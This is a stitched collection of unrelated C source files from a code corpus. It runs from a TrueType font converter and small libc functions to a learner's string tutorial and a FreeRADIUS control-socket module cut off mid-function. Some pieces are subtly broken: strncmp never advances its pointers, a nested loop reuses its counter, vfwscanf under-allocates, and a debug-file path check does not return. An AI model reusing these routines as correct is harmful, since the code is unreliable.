* /usr/openwin/lib/locale/ko/X11/fonts/TrueType) - in this case we
* have to generate a family name somehow... */
if(fm->name_family == NULL)
fm->name_family = fm->name_ps;
}
#else
#ifdef ENABLE_SFNT
if( FT_Get_Sfnt_Name(face, TT_NAME_ID_PS_NAME , &sn) ) {
#endif /* ENABLE_SFNT */
if(( fm->name_ps = strdup(fm->name_full) )==NULL) {
fprintf (stderr, "****malloc failed %s line %d\n", __FILE__, __LINE__);
exit(255);
}
#ifdef ENABLE_SFNT
} else
fm->name_ps = dupcnstring(sn.string, sn.string_len);
#endif /* ENABLE_SFNT */
#endif /* XP_PSTEXT */
for(i=0; fm->name_ps[i]!=0; i++)
if(fm->name_ps[i] == ' ')
fm->name_ps[i] = '_'; /* no spaces in the Postscript name *m */
/* guess the boldness from the font names */
fm->force_bold=0;
fieldstocheck[0] = fm->name_style;
fieldstocheck[1] = fm->name_full;
fieldstocheck[2] = fm->name_ps;
for(i=0; !fm->force_bold && i<sizeof fieldstocheck /sizeof(fieldstocheck[0]); i++) {
str=fieldstocheck[i];
for(i=0; str[i]!=0; i++) {
if( (str[i]=='B'
|| str[i]=='b'
&& ( i==0 || !isalpha(str[i-1]) )
)
&& !strncmp("old",&str[i+1],3)
&& !islower(str[i+4])
) {
fm->force_bold=1;
break;
}
}
}
}
/*
* Functions to decompose the outlines
*/
static GLYPH *curg;
static double lastx, lasty;
static int
outl_moveto(
FT_Vector *to,
void *unused
)
{
double tox, toy;
tox = fscale((double)to->x); toy = fscale((double)to->y);
/* FreeType does not do explicit closepath() */
if(curg->lastentry) {
g_closepath(curg);
}
fg_rmoveto(curg, tox, toy);
lastx = tox; lasty = toy;
return 0;
}
static int
outl_lineto(
FT_Vector *to,
void *unused
)
{
double tox, toy;
tox = fscale((double)to->x); toy = fscale((double)to->y);
fg_rlineto(curg, tox, toy);
lastx = tox; lasty = toy;
return 0;
}
static int
outl_conicto(
FT_Vector *control1,
FT_Vector *to,
void *unused
)
{
double c1x, c1y, tox, toy;
c1x = fscale((double)control1->x); c1y = fscale((double)control1->y);
tox = fscale((double)to->x); toy = fscale((double)to->y);
fg_rrcurveto(curg,
(lastx + 2.0 * c1x) / 3.0, (lasty + 2.0 * c1y) / 3.0,
(2.0 * c1x + tox) / 3.0, (2.0 * c1y + toy) / 3.0,
tox, toy );
lastx = tox; lasty = toy;
return 0;
}
static int
outl_cubicto(
FT_Vector *control1,
FT_Vector *control2,
FT_Vector *to,
void *unused
)
{
double c1x, c1y, c2x, c2y, tox, toy;
c1x = fscale((double)control1->x); c1y = fscale((double)control1->y);
c2x = fscale((double)control2->x); c2y = fscale((double)control2->y);
tox = fscale((double)to->x); toy = fscale((double)to->y);
fg_rrcurveto(curg, c1x, c1y, c2x, c2y, tox, toy);
lastx = tox; lasty = toy;
return 0;
}
static FT_Outline_Funcs ft_outl_funcs = {
outl_moveto,
outl_lineto,
outl_conicto,
outl_cubicto,
0,
0
};
/*
* Get the path of contrours for a glyph.
*/
static void
glpath(
int glyphno,
GLYPH *glyf_list
)
{
FT_Outline *ol;
curg = &glyf_list[glyphno];
if( FT_Load_Glyph(face, glyphno, FT_LOAD_NO_BITMAP|FT_LOAD_NO_SCALE|FT_LOAD_NO_HINTING)
|| face->glyph->format != ft_glyph_format_outline ) {
fprintf(stderr, "Can't load glyph %s, skipped\n", curg->name);
return;
}
ol = &face->glyph->outline;
lastx = 0.0; lasty = 0.0;
if( FT_Outline_Decompose(ol, &ft_outl_funcs, NULL) ) {
fprintf(stderr, "Can't decompose outline of glyph %s, skipped\n", curg->name);
return;
}
/* FreeType does not do explicit closepath() */
if(curg->lastentry) {
g_closepath(curg);
}
if(ol->flags & ft_outline_reverse_fill) {
assertpath(curg->entries, __FILE__, __LINE__, curg->name);
reversepaths(curg);
}
}
/*
* Get the kerning data.
*/
static void
kerning(
GLYPH *glyph_list
)
{
int i, j, n;
int nglyphs = face->num_glyphs;
FT_Vector k;
GLYPH *gl;
if( nglyphs == 0 || !FT_HAS_KERNING(face) ) {
WARNING_1 fputs("No Kerning data\n", stderr);
return;
}
for(i=0; i<nglyphs; i++) {
if( (glyph_list[i].flags & GF_USED) ==0)
continue;
for(j=0; j<nglyphs; j++) {
if( (glyph_list[j].flags & GF_USED) ==0)
continue;
if( FT_Get_Kerning(face, i, j, ft_kerning_unscaled, &k) )
continue;
if( k.x == 0 )
continue;
addkernpair(i, j, k.x);
}
}
}
#endif
|
the_stack_data/6449.c | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
int main(){
mkfifo("fifo", 0666);
return 0;
}
|
the_stack_data/79208.c | /*****************************************************************************/
/* VFWSCANF.C */
/* */
/* Copyright (c) 2017 Texas Instruments Incorporated */
/* http://www.ti.com/ */
/* */
/* Redistribution and use in source and binary forms, with or without */
/* modification, are permitted provided that the following conditions */
/* are met: */
/* */
/* Redistributions of source code must retain the above copyright */
/* notice, this list of conditions and the following disclaimer. */
/* */
/* Redistributions in binary form must reproduce the above copyright */
/* notice, this list of conditions and the following disclaimer in */
/* the documentation and/or other materials provided with the */
/* distribution. */
/* */
/* Neither the name of Texas Instruments Incorporated nor the names */
/* of its contributors may be used to endorse or promote products */
/* derived from this software without specific prior written */
/* permission. */
/* */
/* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS */
/* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT */
/* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR */
/* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT */
/* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, */
/* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT */
/* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, */
/* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY */
/* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT */
/* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE */
/* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */
/* */
/*****************************************************************************/
#include <wchar.h>
#include <stdio.h>
#include <stdlib.h>
int vfwscanf(FILE* stream, const wchar_t* format, va_list arg)
{
size_t format_len = wcslen(format);
char* dest = (char*)malloc(format_len);
int res;
if (wcstombs(dest, format, format_len) == ((size_t)-1))
res = 0;
else
res = vfscanf(stream, dest, arg);
free(dest);
return res;
}
|
the_stack_data/86602.c | #include <stdio.h>
int main() {
int num = 5;
float numTwo = 4.5;
double numThree = 5.52;
double test;
printf("The first num is %d",num);
printf("The not defined var is %f", test);
return 0;
}
|
the_stack_data/165764269.c | // simpleStrings.c
// Chapter 15
// Learn C Programming
//
// Demonstrate how to
// 1) declare and initialize strings in various ways
// 2) manipulate (change) a single characger within a string
// 3) illustrate the difference between strings and string literals (constant)
// 4) some experiments with strings:
// a) try to modify a string literal
// b) loop through string with for()...
// c) loop through string with while()...
//
// compile with:
//
// cc simpleStrings.c -o simpleStrings -Wall -Werror -std=c11
//
#include <stdio.h> // for printf()
#include <ctype.h> // for toupper()
#include <string.h> // for strlen()
int main( void )
{
char string0[8] = { 0 };
char string1[8] = { 'h' , 'e' , 'l' , 'l', 'o' , '\0' };
char string2[8] = "hello";
char string3[] = "hello";
char* string4 = "hello";
printf( "A) 0:\"%s\" 1:\"%s\" 2:\"%s\" 3:\"%s\" 4:\"%s\"\n\n" ,
string0 , string1 , string2 , string3 , string4 );
string0[0] = 'H';
string1[0] = 'H';
string2[0] = toupper( string0[0] );
string3[0] = toupper( string0[0] );
// string4[0] = 'H'; // Can't do this because its a pointer
// to a literal string (constant).
char* string5 = "Hello"; // assign pointer to new string.
printf( "B) 0:\"%s\" 1:\"%s\" 2:\"%s\" 3:\"%s\" 4:\"%s\"\n\n" ,
string0 , string1 , string2 , string3 , string5 );
// EXPERIMENTS
//
// To do each experiment, change #if 0 to #if 1 and then build and run the
// program.
// Experiment 1: initialize an array with a string too long.
//
// This should cause compiler error; but it is useful to know what an error
// of this kind looks like.
//
// Should fail.
#if 0
char string6[8] = "Ladies and Gentlemen";
// Will succeed.
char string7[] = "Ladies and Gentlemen";
#endif
// Experiment 2: convert string2 to all upper case using loop.
#if 0
int length = strlen( string2 );
for( int i = 0 ; i < length ; i++ )
{
string2[i] = toupper( string2[i]);
}
printf( "E2) \"%s\" \n" , string2 );
#endif
// Experiment 3: convert string3 to all upper case using loop.
#if 0
int i = 0;
while( string7[i] != '\0' )
{
string7[i] = toupper( string7[i]);
i++;
}
printf( "E3) \"%s\" \n" , string7 );
#endif
}
// eof
|
the_stack_data/701841.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_strlen.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: aborboll <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/09/09 13:30:39 by aborboll #+# #+# */
/* Updated: 2019/09/10 16:26:37 by aborboll ### ########.fr */
/* */
/* ************************************************************************** */
int ft_strlen(char *str)
{
int i;
i = 0;
while (str[i] != 0)
i++;
return (i);
}
|
the_stack_data/168893244.c | #include <string.h>
int strncmp(const char *a, const char *b, size_t n)
{
if(n) do {
if(*a > *b)
return 1;
if(*a < *b)
return -1;
n--;
} while(n && *a);
return 0;
}
|
the_stack_data/120879.c | #include <pthread.h>
#include <errno.h>
int pthread_setconcurrency(int val)
{
if (val < 0) return EINVAL;
if (val > 0) return EAGAIN;
return 0;
}
|
the_stack_data/95449871.c | /*
* command.c Command socket processing.
*
* Version: $Id$
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
* Copyright 2008 The FreeRADIUS server project
* Copyright 2008 Alan DeKok <[email protected]>
*/
#ifdef WITH_COMMAND_SOCKET
#include <freeradius-devel/modpriv.h>
#include <freeradius-devel/conffile.h>
#include <freeradius-devel/stats.h>
#include <freeradius-devel/realms.h>
#ifdef HAVE_SYS_UN_H
#include <sys/un.h>
#ifndef SUN_LEN
#define SUN_LEN(su) (sizeof(*(su)) - sizeof((su)->sun_path) + strlen((su)->sun_path))
#endif
#endif
#ifdef HAVE_SYS_STAT_H
#include <sys/stat.h>
#endif
#ifdef HAVE_PWD_H
#include <pwd.h>
#endif
#ifdef HAVE_GRP_H
#include <grp.h>
#endif
typedef struct fr_command_table_t fr_command_table_t;
typedef int (*fr_command_func_t)(rad_listen_t *, int, char *argv[]);
#define FR_READ (1)
#define FR_WRITE (2)
struct fr_command_table_t {
const char *command;
int mode; /* read/write */
const char *help;
fr_command_func_t func;
fr_command_table_t *table;
};
#define COMMAND_BUFFER_SIZE (1024)
typedef struct fr_command_socket_t {
char *path;
char *copy; /* <sigh> */
uid_t uid;
gid_t gid;
int mode;
char *uid_name;
char *gid_name;
char *mode_name;
char user[256];
/*
* The next few entries handle fake packets injected by
* the control socket.
*/
fr_ipaddr_t src_ipaddr; /* src_port is always 0 */
fr_ipaddr_t dst_ipaddr;
int dst_port;
rad_listen_t *inject_listener;
RADCLIENT *inject_client;
/*
* The next few entries do buffer management.
*/
ssize_t offset;
ssize_t next;
char buffer[COMMAND_BUFFER_SIZE];
} fr_command_socket_t;
static const CONF_PARSER command_config[] = {
{ "socket", PW_TYPE_STRING_PTR,
offsetof(fr_command_socket_t, path), NULL, "${run_dir}/radiusd.sock"},
{ "uid", PW_TYPE_STRING_PTR,
offsetof(fr_command_socket_t, uid_name), NULL, NULL},
{ "gid", PW_TYPE_STRING_PTR,
offsetof(fr_command_socket_t, gid_name), NULL, NULL},
{ "mode", PW_TYPE_STRING_PTR,
offsetof(fr_command_socket_t, mode_name), NULL, NULL},
{ NULL, -1, 0, NULL, NULL } /* end the list */
};
static FR_NAME_NUMBER mode_names[] = {
{ "ro", FR_READ },
{ "read-only", FR_READ },
{ "read-write", FR_READ | FR_WRITE },
{ "rw", FR_READ | FR_WRITE },
{ NULL, 0 }
};
static ssize_t cprintf(rad_listen_t *listener, const char *fmt, ...)
#ifdef __GNUC__
__attribute__ ((format (printf, 2, 3)))
#endif
;
#ifndef HAVE_GETPEEREID
static int getpeereid(int s, uid_t *euid, gid_t *egid)
{
#ifndef SO_PEERCRED
return -1;
#else
struct ucred cr;
socklen_t cl = sizeof(cr);
if (getsockopt(s, SOL_SOCKET, SO_PEERCRED, &cr, &cl) < 0) {
return -1;
}
*euid = cr.uid;
*egid = cr.gid;
return 0;
#endif /* SO_PEERCRED */
}
#endif /* HAVE_GETPEEREID */
static int fr_server_domain_socket(const char *path)
{
int sockfd;
size_t len;
socklen_t socklen;
struct sockaddr_un salocal;
struct stat buf;
len = strlen(path);
if (len >= sizeof(salocal.sun_path)) {
radlog(L_ERR, "Path too long in socket filename.");
return -1;
}
if ((sockfd = socket(AF_UNIX, SOCK_STREAM, 0)) < 0) {
radlog(L_ERR, "Failed creating socket: %s",
strerror(errno));
return -1;
}
memset(&salocal, 0, sizeof(salocal));
salocal.sun_family = AF_UNIX;
memcpy(salocal.sun_path, path, len + 1); /* SUN_LEN does strlen */
socklen = SUN_LEN(&salocal);
/*
* Check the path.
*/
if (stat(path, &buf) < 0) {
if (errno != ENOENT) {
radlog(L_ERR, "Failed to stat %s: %s",
path, strerror(errno));
close(sockfd);
return -1;
}
/*
* FIXME: Check the enclosing directory?
*/
} else { /* it exists */
if (!S_ISREG(buf.st_mode)
#ifdef S_ISSOCK
&& !S_ISSOCK(buf.st_mode)
#endif
) {
radlog(L_ERR, "Cannot turn %s into socket", path);
close(sockfd);
return -1;
}
/*
* Refuse to open sockets not owned by us.
*/
if (buf.st_uid != geteuid()) {
radlog(L_ERR, "We do not own %s", path);
close(sockfd);
return -1;
}
if (unlink(path) < 0) {
radlog(L_ERR, "Failed to delete %s: %s",
path, strerror(errno));
close(sockfd);
return -1;
}
}
if (bind(sockfd, (struct sockaddr *)&salocal, socklen) < 0) {
radlog(L_ERR, "Failed binding to %s: %s",
path, strerror(errno));
close(sockfd);
return -1;
}
/*
* FIXME: There's a race condition here. But Linux
* doesn't seem to permit fchmod on domain sockets.
*/
if (chmod(path, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP) < 0) {
radlog(L_ERR, "Failed setting permissions on %s: %s",
path, strerror(errno));
close(sockfd);
return -1;
}
if (listen(sockfd, 8) < 0) {
radlog(L_ERR, "Failed listening to %s: %s",
path, strerror(errno));
close(sockfd);
return -1;
}
#ifdef O_NONBLOCK
{
int flags;
if ((flags = fcntl(sockfd, F_GETFL, NULL)) < 0) {
radlog(L_ERR, "Failure getting socket flags: %s",
strerror(errno));
close(sockfd);
return -1;
}
flags |= O_NONBLOCK;
if( fcntl(sockfd, F_SETFL, flags) < 0) {
radlog(L_ERR, "Failure setting socket flags: %s",
strerror(errno));
close(sockfd);
return -1;
}
}
#endif
return sockfd;
}
static void command_close_socket(rad_listen_t *this)
{
this->status = RAD_LISTEN_STATUS_CLOSED;
/*
* This removes the socket from the event fd, so no one
* will be calling us any more.
*/
event_new_fd(this);
listen_free(&this);
}
static ssize_t cprintf(rad_listen_t *listener, const char *fmt, ...)
{
ssize_t len;
va_list ap;
char buffer[256];
va_start(ap, fmt);
len = vsnprintf(buffer, sizeof(buffer), fmt, ap);
va_end(ap);
if (listener->status == RAD_LISTEN_STATUS_CLOSED) return 0;
len = write(listener->fd, buffer, len);
if (len <= 0) command_close_socket(listener);
/*
* FIXME: Keep writing until done?
*/
return len;
}
static int command_hup(rad_listen_t *listener, int argc, char *argv[])
{
CONF_SECTION *cs;
module_instance_t *mi;
if (argc == 0) {
radius_signal_self(RADIUS_SIGNAL_SELF_HUP);
return 1;
}
cs = cf_section_find("modules");
if (!cs) return 0;
mi = find_module_instance(cs, argv[0], 0);
if (!mi) {
cprintf(listener, "ERROR: No such module \"%s\"\n", argv[0]);
return 0;
}
if ((mi->entry->module->type & RLM_TYPE_HUP_SAFE) == 0) {
cprintf(listener, "ERROR: Module %s cannot be hup'd\n",
argv[0]);
return 0;
}
if (!module_hup_module(mi->cs, mi, time(NULL))) {
cprintf(listener, "ERROR: Failed to reload module\n");
return 0;
}
return 1; /* success */
}
static int command_terminate(UNUSED rad_listen_t *listener,
UNUSED int argc, UNUSED char *argv[])
{
radius_signal_self(RADIUS_SIGNAL_SELF_TERM);
return 1; /* success */
}
extern time_t fr_start_time;
static int command_uptime(rad_listen_t *listener,
UNUSED int argc, UNUSED char *argv[])
{
char buffer[128];
CTIME_R(&fr_start_time, buffer, sizeof(buffer));
cprintf(listener, "Up since %s", buffer); /* no \r\n */
return 1; /* success */
}
static const char *tabs = "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t";
/*
* FIXME: Recurse && indent?
*/
static void cprint_conf_parser(rad_listen_t *listener, int indent, CONF_SECTION *cs,
const void *base)
{
int i;
const void *data;
const char *name1 = cf_section_name1(cs);
const char *name2 = cf_section_name2(cs);
const CONF_PARSER *variables = cf_section_parse_table(cs);
char buffer[256];
if (name2) {
cprintf(listener, "%.*s%s %s {\n", indent, tabs, name1, name2);
} else {
cprintf(listener, "%.*s%s {\n", indent, tabs, name1);
}
indent++;
/*
* Print
*/
if (variables) for (i = 0; variables[i].name != NULL; i++) {
/*
* No base struct offset, data must be the pointer.
* If data doesn't exist, ignore the entry, there
* must be something wrong.
*/
if (!base) {
if (!variables[i].data) {
continue;
}
data = variables[i].data;;
} else if (variables[i].data) {
data = variables[i].data;;
} else {
data = (((const char *)base) + variables[i].offset);
}
switch (variables[i].type) {
default:
cprintf(listener, "%.*s%s = ?\n", indent, tabs,
variables[i].name);
break;
case PW_TYPE_INTEGER:
cprintf(listener, "%.*s%s = %u\n", indent, tabs,
variables[i].name, *(const int *) data);
break;
case PW_TYPE_IPADDR:
inet_ntop(AF_INET, data, buffer, sizeof(buffer));
break;
case PW_TYPE_IPV6ADDR:
inet_ntop(AF_INET6, data, buffer, sizeof(buffer));
break;
case PW_TYPE_BOOLEAN:
cprintf(listener, "%.*s%s = %s\n", indent, tabs,
variables[i].name,
((*(const int *) data) == 0) ? "no" : "yes");
break;
case PW_TYPE_STRING_PTR:
case PW_TYPE_FILENAME:
/*
* FIXME: Escape things in the string!
*/
if (*(const char * const *) data) {
cprintf(listener, "%.*s%s = \"%s\"\n", indent, tabs,
variables[i].name, *(const char * const *) data);
} else {
cprintf(listener, "%.*s%s = \n", indent, tabs,
variables[i].name);
}
break;
}
}
indent--;
cprintf(listener, "%.*s}\n", indent, tabs);
}
static int command_show_module_config(rad_listen_t *listener, int argc, char *argv[])
{
CONF_SECTION *cs;
module_instance_t *mi;
if (argc != 1) {
cprintf(listener, "ERROR: No module name was given\n");
return 0;
}
cs = cf_section_find("modules");
if (!cs) return 0;
mi = find_module_instance(cs, argv[0], 0);
if (!mi) {
cprintf(listener, "ERROR: No such module \"%s\"\n", argv[0]);
return 0;
}
cprint_conf_parser(listener, 0, mi->cs, mi->insthandle);
return 1; /* success */
}
static const char *method_names[RLM_COMPONENT_COUNT] = {
"authenticate",
"authorize",
"preacct",
"accounting",
"session",
"pre-proxy",
"post-proxy",
"post-auth"
};
static int command_show_module_methods(rad_listen_t *listener, int argc, char *argv[])
{
int i;
CONF_SECTION *cs;
const module_instance_t *mi;
const module_t *mod;
if (argc != 1) {
cprintf(listener, "ERROR: No module name was given\n");
return 0;
}
cs = cf_section_find("modules");
if (!cs) return 0;
mi = find_module_instance(cs, argv[0], 0);
if (!mi) {
cprintf(listener, "ERROR: No such module \"%s\"\n", argv[0]);
return 0;
}
mod = mi->entry->module;
for (i = 0; i < RLM_COMPONENT_COUNT; i++) {
if (mod->methods[i]) cprintf(listener, "\t%s\n", method_names[i]);
}
return 1; /* success */
}
static int command_show_module_flags(rad_listen_t *listener, int argc, char *argv[])
{
CONF_SECTION *cs;
const module_instance_t *mi;
const module_t *mod;
if (argc != 1) {
cprintf(listener, "ERROR: No module name was given\n");
return 0;
}
cs = cf_section_find("modules");
if (!cs) return 0;
mi = find_module_instance(cs, argv[0], 0);
if (!mi) {
cprintf(listener, "ERROR: No such module \"%s\"\n", argv[0]);
return 0;
}
mod = mi->entry->module;
if ((mod->type & RLM_TYPE_THREAD_SAFE) != 0)
cprintf(listener, "\tthread-safe\n");
if ((mod->type & RLM_TYPE_CHECK_CONFIG_SAFE) != 0)
cprintf(listener, "\twill-check-config\n");
if ((mod->type & RLM_TYPE_HUP_SAFE) != 0)
cprintf(listener, "\treload-on-hup\n");
return 1; /* success */
}
/*
* Show all loaded modules
*/
static int command_show_modules(rad_listen_t *listener, UNUSED int argc, UNUSED char *argv[])
{
CONF_SECTION *cs, *subcs;
cs = cf_section_find("modules");
if (!cs) return 0;
subcs = NULL;
while ((subcs = cf_subsection_find_next(cs, subcs, NULL)) != NULL) {
const char *name1 = cf_section_name1(subcs);
const char *name2 = cf_section_name2(subcs);
module_instance_t *mi;
if (name2) {
mi = find_module_instance(cs, name2, 0);
if (!mi) continue;
cprintf(listener, "\t%s (%s)\n", name2, name1);
} else {
mi = find_module_instance(cs, name1, 0);
if (!mi) continue;
cprintf(listener, "\t%s\n", name1);
}
}
return 1; /* success */
}
#ifdef WITH_PROXY
static int command_show_home_servers(rad_listen_t *listener, UNUSED int argc, UNUSED char *argv[])
{
int i;
home_server *home;
const char *type, *state;
char buffer[256];
for (i = 0; i < 256; i++) {
home = home_server_bynumber(i);
if (!home) break;
/*
* Internal "virtual" home server.
*/
if (home->ipaddr.af == AF_UNSPEC) continue;
if (home->type == HOME_TYPE_AUTH) {
type = "auth";
} else if (home->type == HOME_TYPE_ACCT) {
type = "acct";
} else continue;
if (home->state == HOME_STATE_ALIVE) {
state = "alive";
} else if (home->state == HOME_STATE_ZOMBIE) {
state = "zombie";
} else if (home->state == HOME_STATE_IS_DEAD) {
state = "dead";
} else continue;
cprintf(listener, "%s\t%d\t%s\t%s\t%d\n",
ip_ntoh(&home->ipaddr, buffer, sizeof(buffer)),
home->port, type, state,
home->currently_outstanding);
}
return 0;
}
#endif
static int command_show_clients(rad_listen_t *listener, UNUSED int argc, UNUSED char *argv[])
{
int i;
RADCLIENT *client;
char buffer[256];
for (i = 0; i < 256; i++) {
client = client_findbynumber(NULL, i);
if (!client) break;
ip_ntoh(&client->ipaddr, buffer, sizeof(buffer));
if (((client->ipaddr.af == AF_INET) &&
(client->prefix != 32)) ||
((client->ipaddr.af == AF_INET6) &&
(client->prefix != 128))) {
cprintf(listener, "\t%s/%d\n", buffer, client->prefix);
} else {
cprintf(listener, "\t%s\n", buffer);
}
}
return 0;
}
static int command_show_xml(rad_listen_t *listener, UNUSED int argc, UNUSED char *argv[])
{
CONF_ITEM *ci;
FILE *fp = fdopen(dup(listener->fd), "a");
if (!fp) {
cprintf(listener, "ERROR: Can't dup %s\n", strerror(errno));
return 0;
}
if (argc == 0) {
cprintf(listener, "ERROR: <reference> is required\n");
fclose(fp);
return 0;
}
ci = cf_reference_item(mainconfig.config, mainconfig.config, argv[0]);
if (!ci) {
cprintf(listener, "ERROR: No such item <reference>\n");
fclose(fp);
return 0;
}
if (cf_item_is_section(ci)) {
cf_section2xml(fp, cf_itemtosection(ci));
} else if (cf_item_is_pair(ci)) {
cf_pair2xml(fp, cf_itemtopair(ci));
} else {
cprintf(listener, "ERROR: No such item <reference>\n");
fclose(fp);
return 0;
}
fclose(fp);
return 1; /* success */
}
static int command_show_version(rad_listen_t *listener, UNUSED int argc, UNUSED char *argv[])
{
cprintf(listener, "%s\n", radiusd_version);
return 1;
}
static int command_debug_level(rad_listen_t *listener, int argc, char *argv[])
{
int number;
if (argc == 0) {
cprintf(listener, "ERROR: Must specify <number>\n");
return -1;
}
number = atoi(argv[0]);
if ((number < 0) || (number > 4)) {
cprintf(listener, "ERROR: <number> must be between 0 and 4\n");
return -1;
}
fr_debug_flag = debug_flag = number;
return 0;
}
char *debug_log_file = NULL;
static char debug_log_file_buffer[1024];
static int command_debug_file(rad_listen_t *listener, int argc, char *argv[])
{
if (debug_flag && mainconfig.radlog_dest == RADLOG_STDOUT) {
cprintf(listener, "ERROR: Cannot redirect debug logs to a file when already in debugging mode.\n");
return -1;
}
if ((argc > 0) && (strchr(argv[0], FR_DIR_SEP) != NULL)) {
cprintf(listener, "ERROR: Cannot direct debug logs to absolute path.\n");
}
debug_log_file = NULL;
if (argc == 0) return 0;
/*
* This looks weird, but it's here to avoid locking
* a mutex for every log message.
*/
memset(debug_log_file_buffer, 0, sizeof(debug_log_file_buffer));
/*
* Debug files always go to the logging directory.
*/
snprintf(debug_log_file_buffer, sizeof(debug_log_file_buffer),
"%s/%s", radlog_dir, argv[0]);
debug_log_file = &debug_log_file_buffer[0];
return 0;
}
extern char *debug_condition;
static int command_debug_condition(UNUSED rad_listen_t *listener, int argc, char *argv[])
{
/*
* Delete old condition.
*
* This is thread-safe because the condition is evaluated
* in the main server thread, as is this code.
*/
free(debug_condition);
debug_condition = NULL;
/*
* Disable it.
*/
if (argc == 0) {
return 0;
}
debug_condition = strdup(argv[0]);
return 0;
}
static int command_show_debug_condition(rad_listen_t *listener,
UNUSED int argc, UNUSED char *argv[])
{
if (!debug_condition) return 0;
cprintf(listener, "%s\n", debug_condition);
return 0;
}
static int command_show_debug_file(rad_listen_t *listener,
UNUSED int argc, UNUSED char *argv[])
{
if (!debug_log_file) return 0;
cprintf(listener, "%s\n", debug_log_file);
return 0;
}
static int command_show_debug_level(rad_listen_t *listener,
UNUSED int argc, UNUSED char *argv[])
{
cprintf(listener, "%d\n", debug_flag);
return 0;
}
static RADCLIENT *get_client(rad_listen_t *listener, int argc, char *argv[])
{
RADCLIENT *client;
fr_ipaddr_t ipaddr;
if (argc < 1) {
cprintf(listener, "ERROR: Must specify <ipaddr>\n");
return NULL;
}
if (ip_hton(argv[0], AF_UNSPEC, &ipaddr) < 0) {
cprintf(listener, "ERROR: Failed parsing IP address; %s\n",
fr_strerror());
return NULL;
}
client = client_find(NULL, &ipaddr);
if (!client) {
cprintf(listener, "ERROR: No such client\n");
return NULL;
}
return client;
}
static int command_show_client_config(rad_listen_t *listener, int argc, char *argv[])
{
RADCLIENT *client;
FILE *fp;
client = get_client(listener, argc, argv);
if (!client) {
return 0;
}
if (!client->cs) return 1;
fp = fdopen(dup(listener->fd), "a");
if (!fp) {
cprintf(listener, "ERROR: Can't dup %s\n", strerror(errno));
return 0;
}
cf_section2file(fp, client->cs);
fclose(fp);
return 1;
}
#ifdef WITH_PROXY
static home_server *get_home_server(rad_listen_t *listener, int argc, char *argv[])
{
home_server *home;
int port;
fr_ipaddr_t ipaddr;
if (argc < 2) {
cprintf(listener, "ERROR: Must specify <ipaddr> <port>\n");
return NULL;
}
if (ip_hton(argv[0], AF_UNSPEC, &ipaddr) < 0) {
cprintf(listener, "ERROR: Failed parsing IP address; %s\n",
fr_strerror());
return NULL;
}
port = atoi(argv[1]);
home = home_server_find(&ipaddr, port);
if (!home) {
cprintf(listener, "ERROR: No such home server\n");
return NULL;
}
return home;
}
static int command_show_home_server_config(rad_listen_t *listener, int argc, char *argv[])
{
home_server *home;
FILE *fp;
home = get_home_server(listener, argc, argv);
if (!home) {
return 0;
}
if (!home->cs) return 1;
fp = fdopen(dup(listener->fd), "a");
if (!fp) {
cprintf(listener, "ERROR: Can't dup %s\n", strerror(errno));
return 0;
}
cf_section2file(fp, home->cs);
fclose(fp);
return 1;
}
extern void revive_home_server(void *ctx);
extern void mark_home_server_dead(home_server *home, struct timeval *when);
static int command_set_home_server_state(rad_listen_t *listener, int argc, char *argv[])
{
home_server *home;
if (argc < 3) {
cprintf(listener, "ERROR: Must specify <ipaddr> <port> <state>\n");
return 0;
}
home = get_home_server(listener, argc, argv);
if (!home) {
return 0;
}
if (strcmp(argv[2], "alive") == 0) {
revive_home_server(home);
} else if (strcmp(argv[2], "dead") == 0) {
struct timeval now;
gettimeofday(&now, NULL); /* we do this WAY too ofetn */
mark_home_server_dead(home, &now);
} else {
cprintf(listener, "ERROR: Unknown state \"%s\"\n", argv[2]);
return 0;
}
return 1;
}
static int command_show_home_server_state(rad_listen_t *listener, int argc, char *argv[])
{
home_server *home;
home = get_home_server(listener, argc, argv);
if (!home) {
return 0;
}
switch (home->state) {
case HOME_STATE_ALIVE:
cprintf(listener, "alive\n");
break;
case HOME_STATE_IS_DEAD:
cprintf(listener, "dead\n");
break;
case HOME_STATE_ZOMBIE:
cprintf(listener, "zombie\n");
break;
default:
cprintf(listener, "unknown\n");
break;
}
return 1;
}
#endif
/*
* For encode/decode stuff
*/
static int null_socket_dencode(UNUSED rad_listen_t *listener, UNUSED REQUEST *request)
{
return 0;
}
static int null_socket_send(UNUSED rad_listen_t *listener, REQUEST *request)
{
char *output_file;
FILE *fp;
VALUE_PAIR *vp;
output_file = request_data_reference(request, null_socket_send, 0);
if (!output_file) {
radlog(L_ERR, "WARNING: No output file for injected packet %d",
request->number);
return 0;
}
fp = fopen(output_file, "w");
if (!fp) {
radlog(L_ERR, "Failed to send injected file to %s: %s",
output_file, strerror(errno));
return 0;
}
